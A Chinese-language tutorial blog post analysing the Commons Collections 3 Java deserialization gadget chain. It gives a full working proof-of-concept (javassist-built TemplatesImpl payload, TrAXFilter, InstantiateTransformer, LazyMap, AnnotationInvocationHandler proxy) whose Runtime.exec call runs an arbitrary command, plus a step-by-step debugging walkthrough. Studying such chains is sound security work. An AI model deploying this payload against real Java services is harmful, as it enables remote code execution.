CommonsCollection3
CommonsCollection3
1、前置知识
CommonsCollection3其实就是cc1和cc2的组合,不用再学那么多知识了,再学习另两个生面孔类
1.1、InstantiateTransformer
构造方法传入了paramTypes(参数类型)和args(具体参数值)
transform方法,首先判断了input是不是Class类实例对象,不是的话就获取结构体创建新的实例对象
public InstantiateTransformer(Class[] paramTypes, Object[] args) {
this.iParamTypes = paramTypes;
this.iArgs = args;
}
public Object transform(Object input) {
try {
if (!(input instanceof Class)) {
throw new FunctorException("InstantiateTransformer: Input object was not an instanceof Class, it was a " + (input == null ? "null object" : input.getClass().getName()));
} else {
Constructor con = ((Class)input).getConstructor(this.iParamTypes);
return con.newInstance(this.iArgs);
}
} catch (NoSuchMethodException var6) {
throw new FunctorException("InstantiateTransformer: The constructor must exist and be public ");
} catch (InstantiationException var7) {
throw new FunctorException("InstantiateTransformer: InstantiationException", var7);
} catch (IllegalAccessException var8) {
throw new FunctorException("InstantiateTransformer: Constructor must be public", var8);
} catch (InvocationTargetException var9) {
throw new FunctorException("InstantiateTransformer: Constructor threw an exception", var9);
}
}
1.2、TrAXFilter
我们来查看其构造方法,newTransformer方法,这不就是cc2的利用链开头,他会把传入的templates去调用newTransformer方法,然后会调用getTransletInstance,然后再调用defineTransletClasses把我们_class赋值为_bytecodes转换为的类,然后_class再newInstance()实例化,而cc1链是通过InvokerTransformer的transform循环反射获取Runtime.class去RCE.
public TrAXFilter(Templates templates) throws TransformerConfigurationException
{
_templates = templates;
_transformer = (TransformerImpl) templates.newTransformer();
_transformerHandler = new TransformerHandlerImpl(_transformer);
_useServicesMechanism = _transformer.useServicesMechnism();
}
2、漏洞复现
2.1、poc
package com.akkacloud;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.ClassPool;
import javassist.CtClass;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.NotFoundException;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class CommonsCollection3 {
public static void main(String[] args) throws Exception {
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
ClassPool classPool=ClassPool.getDefault();//获取一个默认的类池
classPool.appendClassPath(AbstractTranslet);//把AbstractTranslet加入到搜索路径
CtClass payload=classPool.makeClass("CommonsCollections3Test");//创建一个名叫CommonsCollections3Test的临时类
payload.setSuperclass(classPool.get(AbstractTranslet));//设置CommonsCollections3Test类的父类为AbstractTranslet,因为TemplatesImpl的defineTransletClasses中会比较父类是否为AbstractTranslet
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\");");//设置CommonsCollections3Test的静态代码块,实例化的时候就会执行
byte[] bytes=payload.toBytecode();//把我们的payload(恶意类)转成字节数组类型
Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();//创建templatesImpl类实例对象
Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");//获取templatesImpl的属性_bytecodes
field.setAccessible(true);//暴力反射
field.set(templatesImpl,new byte[][]{bytes});//设置templatesImpl的属性_bytecodes为我们的恶意字节数组
Field field1=templatesImpl.getClass().getDeclaredField("_name");//获取templatesImpl的属性_bytecodes
field1.setAccessible(true);//暴力反射
field1.set(templatesImpl,"test");//设置templatesImpl的属性_name值为test
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(TrAXFilter.class),//获取TrAXFilter
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl})//通过InstantiateTransformer的构造方法传入我们的恶意类templatesImpl,构造方法会调用templatesImpl.newTransformer实例化我们的恶意类,造成RCE
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);//新建一个ChainedTransformer类,传入我们的恶意transformers,只要调用transform方法就会反射执行我们的传入的恶意传入我们的恶意transformers
Map map=new HashMap();//新建一个hashmap
Map lazyMap= LazyMap.decorate(map,chainedTransformer);//这里传入我们的恶意ChainedTransformer,赋值给lazyMap,只要lazyMap的get方法被调用就会调用我们的chainedTransformer的transform方法
Class cls=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");//反射获取AnnotationInvocationHandler类
Constructor constructor=cls.getDeclaredConstructor(Class.class,Map.class);//获取AnnotationInvocationHandler的构造函数
constructor.setAccessible(true);
InvocationHandler invocationHandler=(InvocationHandler)constructor.newInstance(Override.class,lazyMap);//传入我们的恶意lazyMap,然后实例化并赋值给invocationHandler,因为AnnotationInvocationHandler实现了InvocationHandler接口
Map map1=(Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(),invocationHandler);//创建动态代理,传入invocationHandler
Object object=constructor.newInstance(Override.class,map1);//然后实例化我们的动态代理,就会调用invocationHandler的invoke方法
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.ser"));
outputStream.writeObject(object);
outputStream.close();
ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.ser"));
inputStream.readObject();
}
}
2.2、poc分析
2.2.1、第一段
其实就是cc2链中javassit的利用,创建一个有静态代码块(恶意代码)的CommonsCollections3Test,和设置其父类为AbstractTranslet,最后转换为字节数组,不懂的话可以详细看看cc2的前置知识的javasstis部分
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
ClassPool classPool=ClassPool.getDefault();//获取一个默认的类池
classPool.appendClassPath(AbstractTranslet);//把AbstractTranslet加入到搜索路径
CtClass payload=classPool.makeClass("CommonsCollections3Test");//创建一个名叫CommonsCollections3Test的临时类
payload.setSuperclass(classPool.get(AbstractTranslet));//设置CommonsCollections3Test类的父类为AbstractTranslet,因为TemplatesImpl的defineTransletClasses中会比较父类是否为AbstractTranslet
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\");");//设置CommonsCollections3Test的静态代码块,实例化的时候就会执行
byte[] bytes=payload.toBytecode();//把我们的payload(恶意类)转成字节数组类型
2.2.2、第二段
也是cc2链对TemplatesImpl的利用,就是创建一个恶意加载类TemplatesImpl,并且通过反射把_bytecodes赋值为我们的恶意字节数组,并且把其_name的设置为test,因为_name在TemplatesImpl类的getTransletInstance()方法,会判断他是否为null,为null就会返回null
Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();//创建templatesImpl类实例对象
Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");//获取templatesImpl的属性_bytecodes
field.setAccessible(true);//暴力反射
field.set(templatesImpl,new byte[][]{bytes});//设置templatesImpl的属性_bytecodes为我们的恶意字节数组
Field field1=templatesImpl.getClass().getDeclaredField("_name");//获取templatesImpl的属性_bytecodes
field1.setAccessible(true);//暴力反射
field1.set(templatesImpl,"test");//设置templatesImpl的属性_name值为test
2.2.3、第三段
这个是目前跟cc1和cc2链有比较大不同的地方,使用InstantiateTransformer类和TrAXFilter类,通过前置知识我们知道TrAXFilter的构造方法会调用newTransformer方法,把我们传入的恶意TemplatesImpl实例化,具体的可以看前置知识或者cc2链TemplatesImpl学习。通过调用ChainedTransformer的transform方法,第一遍获取TrAXFilter类,第二遍通过InstantiateTransformer的构造方法传入我们的恶意类templatesImpl,调用其transform方法,实例化传入的上一遍传入的TrAXFilter,调用其构造方法,再调用newTransform,造成RCE。接下来我们需要看其怎么获取transform方法了?
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(TrAXFilter.class),//获取TrAXFilter,构造方法会调用templatesImpl.newTransformer实例化我们的恶意类,造成RCE
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl})//通过InstantiateTransformer的构造方法传入我们的恶意类templatesImpl
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);//新建一个ChainedTransformer类,传入我们的恶意transformers,只要调用transform方法就会反射执行我们的传入的恶意传入我们的恶意transformers
2.2.4、第四段
这里就是cc1链的利用,主要是通过LazyMap的decorate方法赋值我们的恶意chainedTransformer,因为LazyMap的get方法会调用transform方法。
Map map=new HashMap();//新建一个hashmap
Map lazyMap= LazyMap.decorate(map,chainedTransformer);//这里传入我们的恶意ChainedTransformer,赋值给lazyMap,只要lazyMap的get方法被调用就会调用我们的chainedTransformer的transform方法
2.2.5、第五段
这里也是cc1链的对应的利用,主要是反射获取AnnotationInvocationHandler类,实例化时传入我们的恶意lazyMap,然后通过动态代理传入我们的包含了lazyMap的恶意InvocationHandler,然后实例化其实就是调用其构造方法,但是无论调用什么方法都会执行动态代理的invoke方法,invoke方法中调用了get方法。然后就是cc1的AnnotationInvocationHandler的readObject---》entrySet---》invoke.
最后为什么是override.class,
因为AnnotationInvocationHandler
本来就是一个处理注解的类,构造方法的第⼀个参数是⼀个Annotation类类型参数
Class cls=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");//反射获取AnnotationInvocationHandler类
Constructor constructor=cls.getDeclaredConstructor(Class.class,Map.class);//获取AnnotationInvocationHandler的构造函数
constructor.setAccessible(true);
InvocationHandler invocationHandler=(InvocationHandler)constructor.newInstance(Override.class,lazyMap);//传入我们的恶意lazyMap,然后实例化并赋值给invocationHandler,因为AnnotationInvocationHandler实现了InvocationHandler接口
Map map1=(Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(),invocationHandler);//创建动态代理,传入invocationHandler
Object object=constructor.newInstance(Override.class,map1);//然后实例化我们的动态代理
2.3、利用链调试
在AnnotationInvocationHandler的构造方法打下断点,发现成功的把this.memberValues设置成LazyMap
在readObject打下断点,当this.memberValues调用entrySet()时,因为lazymap是我们的代理对象,所以他执行任何方法都会执行AnnotationInvocationHandler的invoke方法
invoke方法会调用get方法。此时的this.memberValues为Lazymap,继续跟进
(问题:第一遍到invoke的this.memberValues为LinkedHashMap,然后就已经弹窗了,第二次才是lazymap,最后到defineTransletClasses,_class已经为我们用javassit创建的恶意数组类)
this.factory就是我们的chianedTransformer,继续跟进
进入后这个iTransformers[]就是传入我们恶意构造的TrAXFilter和instantiateTransformer
继续跟进transform方法,第一遍获取TrAXFilter.class
继续跟进transform方法,把TrAXFilter通过newInstance实例化
我们进入他的构造函数,templates使我们构造的恶意数组类,继续跟进
进入到newTransformer后,会调用getTransletInstance(),其实这个方法就是用来实例化传入的transformer的,继续跟进
进到getTransletInstance,发现他会调用defineTransletClasses,继续跟进
进入后就是对_class进行处理,前置知识有相关知识,处理完后回到getTransletInstance,把_class实例化,就是我们的恶意类。
2.4、利用链
AnnotationInvocationHandler.readobject
(proxy)lazyMap.entrySet
AnnotationInvocationHandler.invoke->lazyMap.get
ChainedTransformer.transform
ConstantTransformer.transform
InstantiateTransformer.transform
TrAXFilter(构造方法)
TemplatesImpl.newTransformer
TemplatesImpl.getTransletInstance
TemplatesImpl.defineTransletClasses
Runtime.exec()
参考链接
https://www.cnblogs.com/nice0e3/p/13854098.html
CommonsCollection3的更多相关文章
- SSH中的jar包讲解(1)
我们在搭建SSH框架的时候,需要引入各自的一些jar包,相信很多初学者跟我一样,搜个资料,照搬过来(当然版本还得对应),至于为什么要引入这些个jar包,引入它们的作用是啥子,一头雾水,今天我就来跟这些 ...
- java判断集合是否相等
1,使用commons-collection-3.2.1.jar包中的CollectionUtils.isEqualCollection()方法 2,还有其他集合操作:disjunction(a,b集 ...
- SSH中的jar包讲解
我们在搭建SSH框架的时候,需要引入各自的一些jar包 首先,先来看一下我们使用的SSH的各自版本及引入的jar包. struts2.3.1.2: struts2-core-2.3.1.jar j ...
- quartz 集成到Spring中
记录一下,防止忘记. 需要的jar包,quartz-2.2.3.jar,commons-collection-3.1.jar,spring-context-support-4.3.4.RELEASE. ...
随机推荐
- 7.Flink实时项目之独立访客开发
1.架构说明 在上6节当中,我们已经完成了从ods层到dwd层的转换,包括日志数据和业务数据,下面我们开始做dwm层的任务. DWM 层主要服务 DWS,因为部分需求直接从 DWD 层到DWS 层中间 ...
- Python 中的深浅拷贝
Python 中的深浅拷贝 参考文献:https://blog.csdn.net/lnotime/article/details/81194633 参考文献:https://blog.csdn.net ...
- FaE:基于符号知识的适应性和可解释的神经记忆
原创作者 | 朱林 论文解读: Facts as Experts: Adaptable and Interpretable Neural Memory over Symbolic Knowledge ...
- 扩展我们的分析处理服务(Smartly.io):使用 Citus 对 PostgreSQL 数据库进行分片
原文:Scaling Our Analytical Processing Service: Sharding a PostgreSQL Database with Citus 在线广告商正在根据绩效数 ...
- 怎么在linux上安装部署jenkins
怎么在linux上安装部署jenkins 作为一个非科班出身自学的小白,踩过很多的坑,特此留下记录 以下在虚拟机上示例 系统:linux(centos7) 操作方式:xshell连接终端操作 教程之前 ...
- Fiddler抓取https协议的证书导入过程
fildder抓取https的设置以及证书导出 打开fiddler界面,选择左上角菜单栏Tools-Options 出现Options界面后,选择HTTPS选项卡 勾选上Capture HTTPS C ...
- yum 安装的历史与撤销(yum history undo )
我们可以使用yum history 来查看yum的历史记录 想撤销安装则输入 yum history undo <ID号> 即可撤销yum的安装/升级
- 【译】.NET 6 网络改进
原文 | Máňa Píchová 翻译 | 郑子铭 对于 .NET 的每个新版本,我们都希望发布一篇博客文章,重点介绍网络的一些变化和改进.在这篇文章中,我很高兴谈论 .NET 6 中的变化. 这篇 ...
- 9.Flink实时项目之订单宽表
1.需求分析 订单是统计分析的重要的对象,围绕订单有很多的维度统计需求,比如用户.地区.商品.品类.品牌等等.为了之后统计计算更加方便,减少大表之间的关联,所以在实时计算过程中将围绕订单的相关数据整合 ...
- CVE-2018-12613phpMyAdmin 后台文件包含漏洞分析
一. 漏洞背景 phpMyAdmin 是一个以PHP为基础,以Web-Base方式架构在网站主机上的MySQL的数据库管理工具,让管理者可用Web接口管理MySQL数据库.借由此Web接口可以成 ...